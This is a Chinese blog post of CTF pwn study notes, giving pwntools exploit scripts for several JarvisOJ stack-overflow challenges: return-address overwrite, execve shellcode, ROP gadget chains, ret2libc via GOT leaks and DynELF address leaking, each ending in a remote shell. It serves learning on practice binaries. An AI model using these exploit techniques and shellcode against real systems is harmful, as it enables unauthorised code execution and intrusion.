ctf中pwn学习笔记

主页,writeup,ctf,pwn,嘤嘤嘤 2018-05-07

0x00.前言
记录一下自己在pwn的学习中遇到的套路.
主要以做题为主,加入套路相关资料.
刷题就完事了.

pwn相关资料:

linux下pwn从入门到放弃
https://blog.csdn.net/niexinming/article/details/78814422
一步一步学ROP之linux_x64篇 – 蒸米
http://www.vuln.cn/6644


0x01.栈溢出

相关资料:

https://blog.csdn.net/aemperor/article/details/47310593
https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/stack_intro/

题目地址01:

https://www.jarvisoj.com/challenges/level0
nc pwn2.jarvisoj.com 9881

目标地址共:0x88
system函数位置:0x400596

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

p=remote('pwn2.jarvisoj.com','9881')  #与远程服务器交互
payload='a'*0x80+'a'*0x8   #'a'可以随便用一个字符替换,0x80起到填充作用,0x8用来淹没bp.
number=p64(0x400596)  #p64(64位)将数字转为字符串
payload=payload+number
p.sendline(payload)
p.interactive()  #反弹shell

题目地址02:(没开NX保护的32位栈溢出)

https://www.jarvisoj.com/challenges/level1
nc pwn2.jarvisoj.com 9877

在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

目标地址共:0x88+0x4.
system函数地址.
程序没开NX保护,可以通过自己编写shellcode执行.
shellcode:

global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh"
push "/bin"
mov ebx,esp
xor eax,eax
mov al,0Bh
int 80h

root@kali:~/Desktop# vi shellcode.asm   #将汇编语言输入
root@kali:~/Desktop# nasm -f elf32 shellcode.asm   #生成.o文件
root@kali:~/Desktop# ld -m elf_i386 -o shellcode shellcode.o
root@kali:~/Desktop# objdump -S shellcode
Disassembly of section .text:

08048060 <_start>:
 8048060:    31 c9                    xor    %ecx,%ecx
 8048062:    31 d2                    xor    %edx,%edx
 8048064:    52                       push   %edx
 8048065:    68 2f 2f 73 68           push   $0x68732f2f
 804806a:    68 2f 62 69 6e           push   $0x6e69622f
 804806f:    89 e3                    mov    %esp,%ebx
 8048071:    31 c0                    xor    %eax,%eax
 8048073:    b0 0b                    mov    $0xb,%al
 8048075:    cd 80                    int    $0x80

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

p=remote('pwn2.jarvisoj.com','9877')
shellcode="\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"  #system("/bin/sh")
p.recvuntil(':')
addr=p.recvuntil('?',drop=True)   #一直读到?的pattern出现为止,drop=True表示是否丢弃pattern
addr=int(addr,16)
payload=shellcode+'a'*(0x8c-len(shellcode))+p32(addr)    #32位文件用p32打包
p.sendline(payload)
p.interactive()

题目地址03:(开了NX保护的32位栈溢出)

https://www.jarvisoj.com/challenges/level2
nc pwn2.jarvisoj.com 9878

目标地址共:0x88+0x4.
system函数在0x08048320.
/bin/sh.data中,0x0804A024.

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

p=remote('pwn2.jarvisoj.com','9878')
payload='a'*0x88+'a'*0x4
addr=p32(0x0804A024)
sys_addr=p32(0x08048320)
payload=payload+sys_addr+'aaaa'+addr   #构造system("/bin/sh")->system地址+system返回地址+"/bin/sh"地址
p.sendline(payload)
p.interactive()

题目地址04:(开了NX保护的64位栈溢出)

https://www.jarvisoj.com/challenges/level2(x64)
nc pwn2.jarvisoj.com 9882

在64位程序运行中,参数传递需要寄存器
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
参数超过六个时,从第七个开始压入栈中

目标地址共:0x80+0x8.
system地址:0x00000000004004C0
这里使用ROPgadget工具查看寄存器地址和/bin/sh字符串地址(也可ida手动查看)

root@kali:~/Desktop/ROPgadget# python ROPgadget.py --binary level2_x64 --string /bin/sh
Strings information
============================================================
0x0000000000600a90 : /bin/sh
root@kali:~/Desktop/ROPgadget# python ROPgadget.py --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret

Unique gadgets found: 11

可以看到参数传入第一个寄存器rdi的地址为0x00000000004006b3.
然后将栈的下一位设置为/bin/sh的地址,这样,执行完pop rdi之后,就会将/bin/sh放置到rdi中了.

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

p=remote('pwn2.jarvisoj.com','9882')
payload='a'*0x80+'a'*0x8
addr=p64(0x0000000000600A90)
sys_addr=p64(0x00000000004004C0)
rdi_addr=p64(0x00000000004006b3)
payload=payload+rdi_addr+addr+sys_addr  
p.sendline(payload)
p.interactive()

题目地址04:(二次溢出32位栈溢出)

https://www.jarvisoj.com/challenges/level3
nc pwn2.jarvisoj.com 9879

目标地址共:0x88+0x4.

首先这是一个32位的文件,那么再次回忆一下32位的参数传递规则.
在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
然后进入题目

在程序中并没有发现system调用函数,也没有/bin/sh字符串
但题目给了libc-2.19.so动态链接文件,用ida查看该文件,可以获知write,read,system等函数在.so文件中的偏移,也可以获取/bin/sh字符串的偏移.

那么假设一个函数A在进程内存空间的地址为funA_address,在libc中的地址为funA_addr;函数B同样如此假设。
那么就存在这样一个等式成立:

funA_address - funA_addr = funB_address - funB_addr

在本题题中,我们想要获知的是系统调用函数system和关键字符串/bin/sh在内存空间的地址。
所以有此等式成立:

write_address - write_addr = system_address - system_addr = bin_address - bin_addr

这样,问题变成了如何得到write函数在内存空间中的地址?
我们可以使用vulnerable_function()中的write()函数将write在内存中的地址泄露出来.
然后使用利用上面提到的公式得到system()函数的地址以及/bin/sh的地址
最后利用vulnerable_function()函数中的read()函数构造system("/bin/sh")得到shell

exp:

#!usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

p=remote('pwn2.jarvisoj.com','9879')
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
payload='a'*0x88+'a'*0x4

vuln_addr=0x0804844B  #vulnerable_function
write_plt=e.symbols['write'] #write_plt_addr
write_got=e.got['write']   #write_got_addr

payload1=payload+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4) # 1表示write函数的第一个参数,表示文件描述符,stdin(0).
p.recvuntil("Input:\n")
p.sendline(payload1)

write_addr=u32(p.recv(4))

write_libc=libc.symbols['write']   #write_libc_addr
system_libc=libc.symbols['system']  #system_libc_addr
sh_libc=libc.search('/bin/sh').next()  #sh_libc_addr

system_addr=write_addr-write_libc+system_libc #system_addr-system_libc=write_addr-write_libc
sh_addr=write_addr-write_libc+sh_libc #sh_addr-sh_libc=write_addr-write_libc

payload2=payload+p32(system_addr)+"aaaa"+p32(sh_addr)
p.sendline(payload2)
p.interactive()

题目地址05:(二次溢出64位栈溢出)

https://www.jarvisoj.com/challenges/level3
nc pwn2.jarvisoj.com 9883

64位与32位差别不大,主要是参数传递方式的不同.
如果参数传递方式忘记可以往上翻.

程序中并没有发现system调用函数,也没有/bin/sh字符串
64位函数调用需要使用寄存器传参
我们可以利用read()函数先溢出修改返回地址到plt表中的write()函数
这样我们就可以通过构造write()函数的调用栈来打印出got表中read()或者write()函数的地址
那么我们知道了地址,就可以通过libc来寻找到system()函数的偏移地址了
然后再构造sytem()的调用栈

目标地址共:0x80+0x8.
使用ROPgadget工具查看寄存器地址和/bin/sh字符串地址(也可ida手动查看)

root@kali:~/Desktop/ROPgadget# python ROPgadget.py --binary level3_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11

按照参数传递约定,write函数需要三个参数,需要rdi,rsi,rdx三个寄存器,但是没有发现所需要的第三个寄存器rdx
所以可以先跳过第三个参数(读入长度)
写好exp之后可以调试下,查看在调用函数之前,rdx的值,如果rdx值>=8,那么就不需要处理.

exp:

#!usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

p=remote('pwn2.jarvisoj.com','9883')
libc=ELF('./libc-2.19.so')
e=ELF('./level3_x64')
payload='a'*0x80+'a'*0x8
rdi_addr=p64(0x00000000004006b3)
rsi_addr=p64(0x00000000004006b1)

vuln_addr=0x04005E6  #vulnerable_function
write_plt=e.symbols['write'] #write_plt_addr
write_got=e.got['write']   #write_got_addr

payload1=payload+rdi_addr+p64(1)+rsi_addr+p64(write_got)+p64(1)+p64(write_plt)+p64(vuln_addr)
p.recvuntil('Input:\n')
p.sendline(payload1)

write_addr=u64(p.recv(8))

write_libc=libc.symbols['write']   #write_libc_addr
system_libc=libc.symbols['system']  #system_libc_addr
sh_libc=libc.search('/bin/sh').next()  #sh_libc_addr

system_addr=write_addr-write_libc+system_libc #system_addr-system_libc=write_addr-write_libc
sh_addr=write_addr-write_libc+sh_libc #sh_addr-sh_libc=write_addr-write_libc

payload2=payload + rdi_addr+p64(sh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()

题目地址06:(无libc32位栈溢出)

https://www.jarvisoj.com/challenges
nc pwn2.jarvisoj.com 9880

查看elf文件无system/bin/sh地址,而且无libc文件.
可以通过DynELF模块来泄漏地址信息,从而获取到shell.
这里推荐参考文章

借助DynELF实现无libc的漏洞利用小结
https://www.anquanke.com/post/id/85129

目标地址共:0x88+0x4.
思路就是通过DynELF模块泄露出system,然后将参数/bin/sh写入bss段上去.
由于有ASLR的限制,所以要实现在一次连接多次溢出,要找一个三次pop,一次retgadgets,通过ROPgadget就可以找到.

  1. 调用write函数来泄露地址信息,比较方便
  2. 32位linux下可以通过布置栈空间来构造函数参数,不用找gadget,比较方便
  3. 在泄露完函数地址后,需要重新调用一下_start函数,用以恢复栈
  4. 在实际调用system前,需要通过三次pop操作来将栈指针指向systemAddress,可以使用ropperROPgadget来完成.
root@kali:~/Desktop/ROPgadget# python ROPgadget.py --binary level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0 --only "pop|ret"
Gadgets information
============================================================
0x0804850b : pop ebp ; ret
0x08048508 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804850a : pop edi ; pop ebp ; ret
0x08048509 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

Unique gadgets found: 7

可以找到0x08048509 : pop esi ; pop edi ; pop ebp ; ret

exp:

#!usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

p=remote('pwn2.jarvisoj.com','9880')
e=ELF('./level4')

write_plt = e.symbols['write']
write_got = e.got['write']
read_plt = e.symbols['read']
read_got = e.got['read']

vuln_addr=e.symbols['vulnerable_function'] 
start_addr = e.symbols['_start'] 
bss_addr=e.symbols['__bss_start']

def leak(address):
    payload = 'a'*0x88+'a'*0x4
    payload += p32(write_plt)
    payload += p32(vuln_addr)
    payload += p32(1)
    payload += p32(address)
    payload += p32(4)
    p.send(payload)
    data = p.recv(4)
    return data

dynelf = DynELF(leak, elf=ELF("./level4"))      
system_addr = dynelf.lookup('__libc_system', 'libc')  

payload1 = 'a'*0x88+'a'*0x4
payload1 += p32(start_addr)
p.sendline(payload1)

pppr_addr = 0x08048509

payload1 = 'a'*0x88+'a'*0x4
payload1 += p32(read_plt)
payload1 += p32(pppr_addr)
payload1 += p32(1)
payload1 += p32(bss_addr)
payload1 += p32(8)
payload1 += p32(system_addr) + p32(vuln_addr) + p32(bss_addr)

p.sendline(payload1)
p.sendline('/bin/sh\0')
p.interactive()

本文由 saltyfishyu 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

只有地板了

  1. Nepire
    Nepire

    嘤嘤嘤余老师带带窝

取消回复

添加新评论